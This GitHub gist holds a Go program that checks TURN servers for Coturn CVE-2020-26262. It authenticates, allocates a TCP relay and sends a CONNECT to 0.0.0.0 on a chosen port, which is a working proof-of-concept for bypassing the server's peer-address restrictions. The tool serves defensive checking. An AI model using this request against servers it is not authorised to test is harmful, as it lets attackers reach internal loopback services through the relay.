Created
January 12, 2021 09:27
-
-
Save thib-ack/b6ca25a6af887dc22ce1aaf4275b99f4 to your computer and use it in GitHub Desktop.
Coturn CVE-2020-26262 vulnerability checker
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
MIT License | |
Copyright (c) 2021 Thibaut ACKERMANN | |
Permission is hereby granted, free of charge, to any person obtaining a copy | |
of this software and associated documentation files (the "Software"), to deal | |
in the Software without restriction, including without limitation the rights | |
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
copies of the Software, and to permit persons to whom the Software is | |
furnished to do so, subject to the following conditions: | |
The above copyright notice and this permission notice shall be included in all | |
copies or substantial portions of the Software. | |
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | |
SOFTWARE. | |
*/ | |
package main | |
import ( | |
"bytes" | |
"crypto/hmac" | |
"crypto/md5" | |
"crypto/sha1" | |
"crypto/tls" | |
"encoding/binary" | |
"errors" | |
"fmt" | |
"hash/crc32" | |
"math/rand" | |
"net" | |
"os" | |
"strconv" | |
"strings" | |
) | |
func main() { | |
if len(os.Args) != 5 { | |
fmt.Println("Usage:", os.Args[0], "{tcp,tls}:<turnserver_ip:port> <username> <password> <local_port>") | |
fmt.Println() | |
fmt.Println("This program will connect to the <turnserver_ip:port> using the given <username>/<password> for LongTerm authentication.") | |
fmt.Println("It will ask for a new TCP Allocation, and then ask the server to Connect to the address 0.0.0.0:<local_port>") | |
fmt.Println("through the allocation.") | |
fmt.Println("A protected server should refuse this, a vulnerable server will accept it.") | |
fmt.Println("You can use the <local_port> of a running local service on your turnserver, but any port can be checked because") | |
fmt.Println("a protected server should refuse the request before even trying to connect to the local service.") | |
os.Exit(1) | |
} | |
turnAddress := os.Args[1] | |
username := os.Args[2] | |
password := os.Args[3] | |
localPortStr := os.Args[4] | |
localPort, err := strconv.Atoi(localPortStr) | |
if err != nil { | |
fmt.Println("Invalid local_port.", err) | |
os.Exit(1) | |
} | |
var conn net.Conn | |
if strings.HasPrefix(turnAddress, "tcp:") { | |
var err error | |
conn, err = net.Dial("tcp", turnAddress[4:]) | |
if err != nil { | |
fmt.Println("Cannot connect to turn server.", err) | |
os.Exit(1) | |
} | |
} else if strings.HasPrefix(turnAddress, "tls:") { | |
var err error | |
conf := &tls.Config{ | |
InsecureSkipVerify: true, | |
} | |
conn, err = tls.Dial("tcp", turnAddress[4:], conf) | |
if err != nil { | |
fmt.Println("Cannot connect to turn server.", err) | |
os.Exit(1) | |
} | |
} else { | |
fmt.Println("Invalid protocol for turnserver. Use format like tcp:1.2.3.4:3478 or tls:1.2.3.4:3478") | |
os.Exit(1) | |
} | |
defer conn.Close() | |
fmt.Println("Connected to turn server", turnAddress) | |
// Send ALLOCATE without auth | |
response, err := SendUnauthAllocate(conn) | |
if err != nil { | |
fmt.Println(err) | |
os.Exit(1) | |
} | |
if response.Class() != ClassError { | |
fmt.Println("Invalid reponse: No authentication ?") | |
os.Exit(1) | |
} | |
// Extract realm&nonce | |
realm, err1 := response.GetAttributeRealm() | |
nonce, err2 := response.GetAttributeNonce() | |
if err1 != nil || err2 != nil { | |
fmt.Println("Cannot get realm/nonce from response", err1, err2) | |
os.Exit(1) | |
} | |
// Send ALLOCATE with auth | |
response, err = SendAuthAllocate(conn, realm, nonce, username, password) | |
if err != nil { | |
fmt.Println(err) | |
os.Exit(1) | |
} | |
if response.Class() == ClassError { | |
code, errMsg, err := response.GetAttributeErrorCode() | |
fmt.Println("Invalid reponse: Authentication failed.", code, errMsg, err) | |
os.Exit(1) | |
} | |
// Send CONNECT | |
responseMsg, err := SendConnect(conn, realm, nonce, username, password, uint16(localPort)) | |
if err != nil { | |
fmt.Println(err) | |
os.Exit(1) | |
} | |
// Based on server response to this CONNECT request, | |
// we can know if it is vulnerable | |
if responseMsg.Class() == ClassSuccess { | |
// Request accepted by server -> that's an issue. | |
fmt.Println("Invalid CONNECT reponse: you are VULERABLE") | |
os.Exit(1) | |
} | |
if responseMsg.Class() == ClassError { | |
code, errMsg, err := responseMsg.GetAttributeErrorCode() | |
if err != nil { | |
fmt.Println("Cannot get ErrorCode.", err) | |
os.Exit(1) | |
} | |
// An ERROR "447: Connection Timeout or Failure" means there is no service running on this local_port on machine. | |
// But the server accepted the request, that's not a good news | |
// The only correct error is "403 Forbidden IP" | |
if code == 403 && errMsg == "Forbidden IP" { | |
fmt.Println("Correct CONNECT reponse: you are NOT vulnerable") | |
// This is the only correct exit. | |
os.Exit(0) | |
} else if code == 447 { | |
fmt.Printf("Invalid CONNECT reponse: you are VULERABLE (there is no local service running on 0.0.0.0:%d but the server should have refused anyway)\n", localPort) | |
} else { | |
fmt.Println("Invalid response: ", code, errMsg) | |
} | |
} | |
os.Exit(1) | |
} | |
func SendUnauthAllocate(conn net.Conn) (*Message, error) { | |
buffer := make([]byte, 512) | |
// 1. ask for new TCP allocation (without auth) | |
allocateMsg := NewMessage(ClassRequest, MethodAllocate, NewTransactionID()) | |
allocateMsg.AddAttributeRequestedTransport(RequestedProtocolTCP) | |
allocateMsg.AddAttributeSoftware(SoftwareName) | |
allocateMsg.AddAttributeFingerprint() | |
_, err := conn.Write(allocateMsg.Bytes()) | |
if err != nil { | |
return nil, fmt.Errorf("cannot write Unauth Allocate message. %v", err) | |
} | |
n, err := conn.Read(buffer) | |
if err != nil { | |
return nil, fmt.Errorf("cannot read Unauth Allocate response. %v", err) | |
} | |
responseMsg, err := NewMessageFromData(buffer[:n]) | |
if err != nil { | |
return nil, fmt.Errorf("cannot parse Unauth Allocate response. %v", err) | |
} | |
return responseMsg, nil | |
} | |
func SendAuthAllocate(conn net.Conn, realm string, nonce string, username string, password string) (*Message, error) { | |
buffer := make([]byte, 512) | |
// 1. ask for new TCP allocation (without auth) | |
allocateMsg := NewMessage(ClassRequest, MethodAllocate, NewTransactionID()) | |
allocateMsg.AddAttributeRequestedTransport(RequestedProtocolTCP) | |
allocateMsg.AddAttributeNonce(nonce) | |
allocateMsg.AddAttributeUsername(username) | |
allocateMsg.AddAttributeRealm(realm) | |
allocateMsg.AddAttributeSoftware(SoftwareName) | |
allocateMsg.AddAttributeMessageIntegrity(realm, username, password) | |
allocateMsg.AddAttributeFingerprint() | |
_, err := conn.Write(allocateMsg.Bytes()) | |
if err != nil { | |
return nil, fmt.Errorf("cannot write Auth Allocate message. %v", err) | |
} | |
n, err := conn.Read(buffer) | |
if err != nil { | |
return nil, fmt.Errorf("cannot read Auth Allocate response. %v", err) | |
} | |
responseMsg, err := NewMessageFromData(buffer[:n]) | |
if err != nil { | |
return nil, fmt.Errorf("cannot parse Auth Allocate response. %v", err) | |
} | |
return responseMsg, nil | |
} | |
func SendConnect(conn net.Conn, realm string, nonce string, username string, password string, localPort uint16) (*Message, error) { | |
buffer := make([]byte, 512) | |
connectMsg := NewMessage(ClassRequest, MethodConnect, NewTransactionID()) | |
// Here is the trick : "invalid" xor-peer-address with IP 0.0.0.0 | |
connectMsg.AddAttributeXorPeerAddress(IPPortAddr{IP: net.IPv4(0, 0, 0, 0), Port: localPort}) | |
connectMsg.AddAttributeNonce(nonce) | |
connectMsg.AddAttributeUsername(username) | |
connectMsg.AddAttributeRealm(realm) | |
connectMsg.AddAttributeSoftware(SoftwareName) | |
connectMsg.AddAttributeMessageIntegrity(realm, username, password) | |
connectMsg.AddAttributeFingerprint() | |
_, err := conn.Write(connectMsg.Bytes()) | |
if err != nil { | |
return nil, fmt.Errorf("cannot write Connect message. %v", err) | |
} | |
n, err := conn.Read(buffer) | |
if err != nil { | |
return nil, fmt.Errorf("cannot read Connect response. %v", err) | |
} | |
responseMsg, err := NewMessageFromData(buffer[:n]) | |
if err != nil { | |
return nil, fmt.Errorf("cannot parse Connect response. %v", err) | |
} | |
return responseMsg, nil | |
} | |
const SoftwareName = "Coturn-CVE-2020-26262" | |
const HeaderLength = uint16(20) | |
type Class byte | |
const ( | |
ClassRequest Class = 0x00 | |
ClassIndication Class = 0x01 | |
ClassSuccess Class = 0x02 | |
ClassError Class = 0x03 | |
) | |
type Method uint16 | |
const ( | |
MethodAllocate Method = 0x0003 | |
MethodConnect Method = 0x000a | |
) | |
const Magic = uint32(0x2112A442) | |
type TransactionID [12]byte | |
func NewTransactionID() TransactionID { | |
var tid TransactionID | |
rand.Read(tid[:]) | |
return tid | |
} | |
type Message struct { | |
class Class | |
method Method | |
length uint16 | |
id TransactionID | |
buffer bytes.Buffer | |
data []byte | |
offsetsForAttributes map[AttributeType][]uint16 | |
} | |
func (message *Message) Class() Class { | |
return message.class | |
} | |
func (message *Message) Method() Method { | |
return message.method | |
} | |
func (message *Message) PrepareMessage(class Class, method Method, id TransactionID) { | |
message.class = class | |
message.method = method | |
message.length = 0 | |
// No need to copy the id as arrays are passed by value not by reference (unlike slices) | |
message.id = id | |
/* | |
STUN Message Header : | |
0 1 2 3 | |
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | |
|0 0| STUN Message Type | Message Length | | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | |
| Magic Cookie | | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | |
| | | |
| Transaction ID (96 bits) | | |
| | | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | |
*/ | |
/* | |
STUN Message Type : | |
0 1 | |
2 3 4 5 6 7 0 1 2 3 4 5 6 7 | |
+--+--+-+-+-+-+-+-+-+-+-+-+-+-+ | |
|M |M |M|M|M|C|M|M|M|C|M|M|M|M| | |
|11|10|9|8|7|1|6|5|4|0|3|2|1|0| | |
+--+--+-+-+-+-+-+-+-+-+-+-+-+-+ | |
*/ | |
message.buffer.Reset() | |
message.buffer.WriteByte(byte(message.class&0x02>>1) | byte(message.method&0x0F80>>6)) | |
message.buffer.WriteByte(byte(message.class&0x01<<4) | byte(message.method&0x0070<<1) | byte(message.method&0x000F)) | |
message.buffer.Write(bigEndianUint16(uint16(message.length))) | |
message.buffer.Write(bigEndianUint32(Magic)) | |
message.buffer.Write(id[:]) | |
} | |
func (message *Message) Bytes() []byte { | |
var data = message.buffer.Bytes() | |
if (data[0] & 0xC0) == 0 { | |
// Update total message length and return byte array | |
if len(data) >= int(HeaderLength) { | |
binary.BigEndian.PutUint16(data[2:], uint16(len(data))-HeaderLength) | |
} | |
} | |
return data | |
} | |
func (message *Message) addPadding() { | |
// Align message content on 32 bits | |
if padding := message.buffer.Len() & 0x0003; padding != 0 { | |
switch padding { | |
case 1: | |
// we have to add 3 x byte(0) | |
message.buffer.Write([]byte{0, 0, 0}) | |
case 2: | |
// we have to add 2 x byte(0) | |
message.buffer.Write([]byte{0, 0}) | |
case 3: | |
// we have to add 1 x byte(0) | |
message.buffer.WriteByte(0) | |
} | |
} | |
} | |
func (message *Message) Parse(data []byte) error { | |
message.data = data | |
// At least the first byte is required. | |
if len(message.data) == 0 { | |
return fmt.Errorf("message is empty") | |
} | |
// Based 2 first bits we can guess the message type: | |
// - 00xx xxxx (standard STUN message) | |
if (message.data[0] & 0xC0) == 0 { | |
return message.parseStandardMessage() | |
} | |
return fmt.Errorf("data does not start with 00 or 01 bits") | |
} | |
func (message *Message) parseStandardMessage() error { | |
if len(message.data) < int(HeaderLength) { | |
return fmt.Errorf("message too short") | |
} | |
// Check the magic word | |
magicWord := binary.BigEndian.Uint32(message.data[4:]) | |
if magicWord != Magic { | |
return fmt.Errorf("bad magic word %x", magicWord) | |
} | |
message.class = Class(((message.data[0] & 0x1) << 1) | ((message.data[1] & 0x10) >> 4)) | |
message.method = Method(((message.data[0] & 0x3E) << 6) | ((message.data[1] & 0xE0) >> 1) | (message.data[1] & 0x0F)) | |
message.length = binary.BigEndian.Uint16(message.data[2:]) | |
if len(message.data) != int(HeaderLength+message.length) { | |
return fmt.Errorf("bad data length. Expected %d bytes where got %d bytes", HeaderLength+message.length, len(message.data)) | |
} | |
copy(message.id[:], message.data[8:20]) | |
switch message.method { | |
case MethodAllocate: | |
case MethodConnect: | |
default: | |
return fmt.Errorf("unknown method %v", message.method) | |
} | |
/* | |
Any attribute type MAY appear more than once in a STUN message. | |
Unless specified otherwise, the order of appearance is significant: | |
only the first occurrence needs to be processed by a receiver, and | |
any duplicates MAY be ignored by a receiver. | |
*/ | |
// Find the attributes offset in body | |
// we store an array of offset if attribute appears multiple times | |
// we'll then use the first element of array most of the time | |
message.offsetsForAttributes = make(map[AttributeType][]uint16) | |
var remainingLength = message.length | |
var MessageIntegrityFound = false | |
for remainingLength > 0 { | |
var attrOffset = HeaderLength + message.length - remainingLength | |
var attrType = AttributeType(binary.BigEndian.Uint16(message.data[attrOffset:])) | |
var attrLength = binary.BigEndian.Uint16(message.data[attrOffset+2:]) | |
// Padding. Align length on 4 bytes | |
if remain := attrLength & 0x0003; remain != 0 { | |
attrLength = attrLength + 4 - remain | |
} | |
/* | |
With the exception of the FINGERPRINT | |
attribute, which appears after MESSAGE-INTEGRITY, agents MUST ignore | |
all other attributes that follow MESSAGE-INTEGRITY. | |
*/ | |
if MessageIntegrityFound == true && attrType != Fingerprint { | |
//message.upturn.logger.Warningf("Ignoring attribute %x which appear *after* MESSAGE-INTEGRITY", attrType) | |
} else { | |
message.offsetsForAttributes[attrType] = append(message.offsetsForAttributes[attrType], attrOffset) | |
} | |
if attrType == MessageIntegrity { | |
MessageIntegrityFound = true | |
} | |
if (AttributeHeaderLength + attrLength) > remainingLength { | |
// The attribute has a bad length value. | |
// If we don't handle this, we might go out-of-bounds | |
return fmt.Errorf("attribute %v has bad length value", attrType) | |
} | |
// Go to next attribute. | |
remainingLength -= AttributeHeaderLength + attrLength | |
if attrType == Fingerprint { | |
/* | |
When present, the FINGERPRINT attribute MUST be the last attribute in | |
the message, and thus will appear after MESSAGE-INTEGRITY. | |
*/ | |
if remainingLength > 0 { | |
return fmt.Errorf("fingerprint attribute is not the last one") | |
} | |
} | |
} | |
/* | |
The FINGERPRINT attribute MAY be present in all STUN messages. The | |
value of the attribute is computed as the CRC-32 of the STUN message | |
up to (but excluding) the FINGERPRINT attribute itself, XOR'ed with | |
the 32-bit value 0x5354554e | |
*/ | |
var fingerprintOffsets = message.offsetsForAttributes[Fingerprint] | |
if len(fingerprintOffsets) > 0 { | |
var crcExpected = binary.BigEndian.Uint32(message.data[(fingerprintOffsets[0] + AttributeHeaderLength):]) | |
// CRC of header + body up to the Fingerprint attribute itself | |
var crcComputed = crc32.Checksum(message.data[:(fingerprintOffsets[0])], crc32.IEEETable) | |
crcComputed = crcComputed ^ 0x5354554e | |
/* | |
If the FINGERPRINT extension | |
is being used, the agent checks that the FINGERPRINT attribute is | |
present and contains the correct value. If any errors are detected, | |
the message is silently discarded. | |
*/ | |
if crcExpected != crcComputed { | |
return fmt.Errorf("fingerprint CRC-32 does not match. Computed value is %#x, expected value is %#x", crcComputed, crcExpected) | |
} | |
} | |
// Parsing succeed | |
return nil | |
} | |
/* | |
0 1 2 3 | |
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | |
| Type | Length | | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | |
| Value (variable) .... | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | |
Figure 4: Format of STUN Attributes | |
Attribute types : | |
Comprehension-required range (0x0000-0x7FFF): | |
Comprehension-optional range (0x8000-0xFFFF) | |
*/ | |
type AttributeType uint16 | |
const AttributeHeaderLength = 4 | |
const ( | |
Username AttributeType = 0x0006 | |
MessageIntegrity AttributeType = 0x0008 | |
ErrorCode AttributeType = 0x0009 | |
Realm AttributeType = 0x0014 | |
Nonce AttributeType = 0x0015 | |
Software AttributeType = 0x8022 | |
Fingerprint AttributeType = 0x8028 | |
XorPeerAddress AttributeType = 0x0012 | |
RequestedTransport AttributeType = 0x0019 | |
) | |
// Generic ip:port address without knownledge of UDP or TCP protocol | |
// like imposed with net.UDPAddr and net.TCPAddr | |
type IPPortAddr struct { | |
IP net.IP | |
Port uint16 | |
} | |
var ErrAttributeNotFoundError = errors.New("attribute not found") | |
func (message *Message) addAttributeString(attribute AttributeType, value string) { | |
// Attribute header : type + real length (non-padded) | |
message.buffer.Write(bigEndianUint16(uint16(attribute))) | |
message.buffer.Write(bigEndianUint16(uint16(len(value)))) | |
message.buffer.Write([]byte(value)) | |
message.addPadding() | |
} | |
func (message *Message) getFirstAttributeString(attribute AttributeType) (string, error) { | |
var offsets = message.offsetsForAttributes[attribute] | |
if len(offsets) == 0 { | |
return "", ErrAttributeNotFoundError | |
} | |
// Use the first attribute | |
var offset = offsets[0] | |
var length = binary.BigEndian.Uint16(message.data[(offset + 2):]) | |
return string(message.data[(offset + AttributeHeaderLength) : (offset+AttributeHeaderLength)+length]), nil | |
} | |
func (message *Message) addAttributeUint32(attribute AttributeType, value uint32) { | |
// Attribute header : type + real length (non-padded) | |
message.buffer.Write(bigEndianUint16(uint16(attribute))) | |
message.buffer.Write(bigEndianUint16(4)) | |
message.buffer.Write(bigEndianUint32(value)) | |
} | |
func (message *Message) addAttributeAddress(attribute AttributeType, address IPPortAddr, xor bool) bool { | |
/* | |
0 1 2 3 | |
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | |
|0 0 0 0 0 0 0 0| Family | Port | | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | |
| | | |
| Address (32 bits or 128 bits) | | |
| | | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | |
Figure 5: Format of MAPPED-ADDRESS Attribute | |
*/ | |
var ipFamily uint16 | |
if address.IP.To4() != nil { | |
ipFamily = 0x0001 | |
} else if address.IP.To16() != nil { | |
ipFamily = 0x0002 | |
} else { | |
fmt.Printf("Error, unknown IP family %+v\n", address) | |
return false | |
} | |
// Attribute header | |
message.buffer.Write(bigEndianUint16(uint16(attribute))) | |
if ipFamily == 0x0001 { | |
message.buffer.Write(bigEndianUint16(uint16(8))) // family (2) + port (2) + ipv4 (4) | |
} else if ipFamily == 0x0002 { | |
message.buffer.Write(bigEndianUint16(uint16(20))) // family (2) + port (2) + ipv6 (16) | |
} | |
// XorMappedAddress body | |
message.buffer.Write(bigEndianUint16(uint16(ipFamily))) | |
if xor == true { | |
var xPort = address.Port ^ uint16(Magic>>16) | |
message.buffer.Write(bigEndianUint16(xPort)) | |
} else { | |
message.buffer.Write(bigEndianUint16(address.Port)) | |
} | |
if ipFamily == 0x0001 { | |
if xor == true { | |
var xAddress = uint32(binary.BigEndian.Uint32(address.IP.To4()) ^ Magic) | |
message.buffer.Write(bigEndianUint32(xAddress)) | |
} else { | |
message.buffer.Write(address.IP.To4()) | |
} | |
} else if ipFamily == 0x0002 { | |
/* | |
If the IP address | |
family is IPv6, X-Address is computed by taking the mapped IP address | |
in host byte order, XOR'ing it with the concatenation of the magic | |
cookie and the 96-bit transaction ID, and converting the result to | |
network byte order. | |
*/ | |
var ip6 = address.IP.To16() | |
if xor == true { | |
var xAddress1 = uint32(binary.BigEndian.Uint32(ip6[0:]) ^ Magic) | |
var xAddress2 = uint32(binary.BigEndian.Uint32(ip6[4:]) ^ binary.BigEndian.Uint32(message.id[0:])) | |
var xAddress3 = uint32(binary.BigEndian.Uint32(ip6[8:]) ^ binary.BigEndian.Uint32(message.id[4:])) | |
var xAddress4 = uint32(binary.BigEndian.Uint32(ip6[12:]) ^ binary.BigEndian.Uint32(message.id[8:])) | |
message.buffer.Write(bigEndianUint32(xAddress1)) | |
message.buffer.Write(bigEndianUint32(xAddress2)) | |
message.buffer.Write(bigEndianUint32(xAddress3)) | |
message.buffer.Write(bigEndianUint32(xAddress4)) | |
} else { | |
message.buffer.Write(ip6) | |
} | |
} | |
return true | |
} | |
func (message *Message) AddAttributeUsername(username string) { | |
message.addAttributeString(Username, username) | |
} | |
func (message *Message) AddAttributeMessageIntegrity(realm string, username string, password string) { | |
/* | |
The length MUST then | |
be set to point to the length of the message up to, and including, | |
the MESSAGE-INTEGRITY attribute itself, but excluding any attributes | |
after it. | |
*/ | |
var bytes = message.buffer.Bytes() | |
binary.BigEndian.PutUint16(bytes[2:], uint16(uint16(len(bytes))+AttributeHeaderLength+sha1.Size-HeaderLength)) | |
var key = md5.Sum([]byte(fmt.Sprintf("%s:%s:%s", username, realm, password))) | |
var mac = hmac.New(sha1.New, key[:]) | |
mac.Write(bytes) | |
var hmacComputed = mac.Sum(nil) | |
message.buffer.Write(bigEndianUint16(uint16(MessageIntegrity))) | |
message.buffer.Write(bigEndianUint16(uint16(sha1.Size))) | |
message.buffer.Write(hmacComputed) | |
} | |
func (message *Message) GetAttributeErrorCode() (uint16, string, error) { | |
var offsets = message.offsetsForAttributes[ErrorCode] | |
if len(offsets) == 0 { | |
return 0, "", ErrAttributeNotFoundError | |
} | |
// Use the first attribute | |
var offset = offsets[0] | |
var length = binary.BigEndian.Uint16(message.data[(offset + 2):]) | |
// length = 4 + reason length | |
var class = uint16(message.data[(offset + AttributeHeaderLength + 2)]) | |
/* | |
The Class represents the hundreds digit of the error code. | |
The value MUST be between 3 and 6. | |
*/ | |
if class < 3 || class > 6 { | |
return 0, "", fmt.Errorf("invalid ERROR-CODE class") | |
} | |
/* | |
The Number represents the error code modulo 100, and its value MUST be between 0 and 99. | |
*/ | |
var number = uint16(message.data[(offset+AttributeHeaderLength+3)]) % 100 | |
var code = (class * 100) + number | |
return code, string(message.data[(offset + AttributeHeaderLength + 4) : (offset+AttributeHeaderLength+4)+(length-4)]), nil | |
} | |
func (message *Message) AddAttributeRealm(realm string) { | |
message.addAttributeString(Realm, realm) | |
} | |
func (message *Message) GetAttributeRealm() (string, error) { | |
return message.getFirstAttributeString(Realm) | |
} | |
func (message *Message) AddAttributeNonce(nonce string) { | |
message.addAttributeString(Nonce, nonce) | |
} | |
func (message *Message) GetAttributeNonce() (string, error) { | |
return message.getFirstAttributeString(Nonce) | |
} | |
func (message *Message) AddAttributeSoftware(software string) { | |
message.addAttributeString(Software, software) | |
} | |
func (message *Message) AddAttributeFingerprint() { | |
/* | |
As with MESSAGE-INTEGRITY, the CRC used in the FINGERPRINT attribute | |
covers the length field from the STUN message header. Therefore, | |
this value must be correct and include the CRC attribute as part of | |
the message length, prior to computation of the CRC. When using the | |
FINGERPRINT attribute in a message, the attribute is first placed | |
into the message with a dummy value, then the CRC is computed, and | |
then the value of the attribute is updated. If the MESSAGE-INTEGRITY | |
attribute is also present, then it must be present with the correct | |
message-integrity value before the CRC is computed, since the CRC is | |
done over the value of the MESSAGE-INTEGRITY attribute as well. | |
*/ | |
var bytes = message.buffer.Bytes() | |
binary.BigEndian.PutUint16(bytes[2:], uint16(uint16(len(bytes))+AttributeHeaderLength+4-HeaderLength)) | |
var crcComputed = crc32.Checksum(bytes, crc32.IEEETable) | |
crcComputed = crcComputed ^ 0x5354554e | |
message.buffer.Write(bigEndianUint16(uint16(Fingerprint))) | |
message.buffer.Write(bigEndianUint16(uint16(4))) | |
message.buffer.Write(bigEndianUint32(crcComputed)) | |
} | |
type RequestedProtocol byte | |
const ( | |
RequestedProtocolTCP = RequestedProtocol(6) | |
) | |
func (message *Message) AddAttributeXorPeerAddress(address IPPortAddr) { | |
message.addAttributeAddress(XorPeerAddress, address, true) | |
} | |
func (message *Message) AddAttributeRequestedTransport(protocolNumber RequestedProtocol) { | |
/* | |
0 1 2 3 | |
0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | |
| Protocol | RFFU | | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | |
*/ | |
message.addAttributeUint32(RequestedTransport, uint32(protocolNumber)<<24) | |
} | |
func NewMessage(class Class, method Method, id TransactionID) *Message { | |
message := new(Message) | |
message.PrepareMessage(class, method, id) | |
return message | |
} | |
func NewMessageFromData(data []byte) (*Message, error) { | |
message := new(Message) | |
err := message.Parse(data) | |
if err != nil { | |
return nil, err | |
} | |
return message, nil | |
} | |
// -- value to big endian | |
func bigEndianUint16(v uint16) []byte { | |
b := [2]byte{} | |
b[0] = byte(v >> 8) | |
b[1] = byte(v) | |
return b[:] | |
} | |
func bigEndianUint32(v uint32) []byte { | |
b := [4]byte{} | |
b[0] = byte(v >> 24) | |
b[1] = byte(v >> 16) | |
b[2] = byte(v >> 8) | |
b[3] = byte(v) | |
return b[:] | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment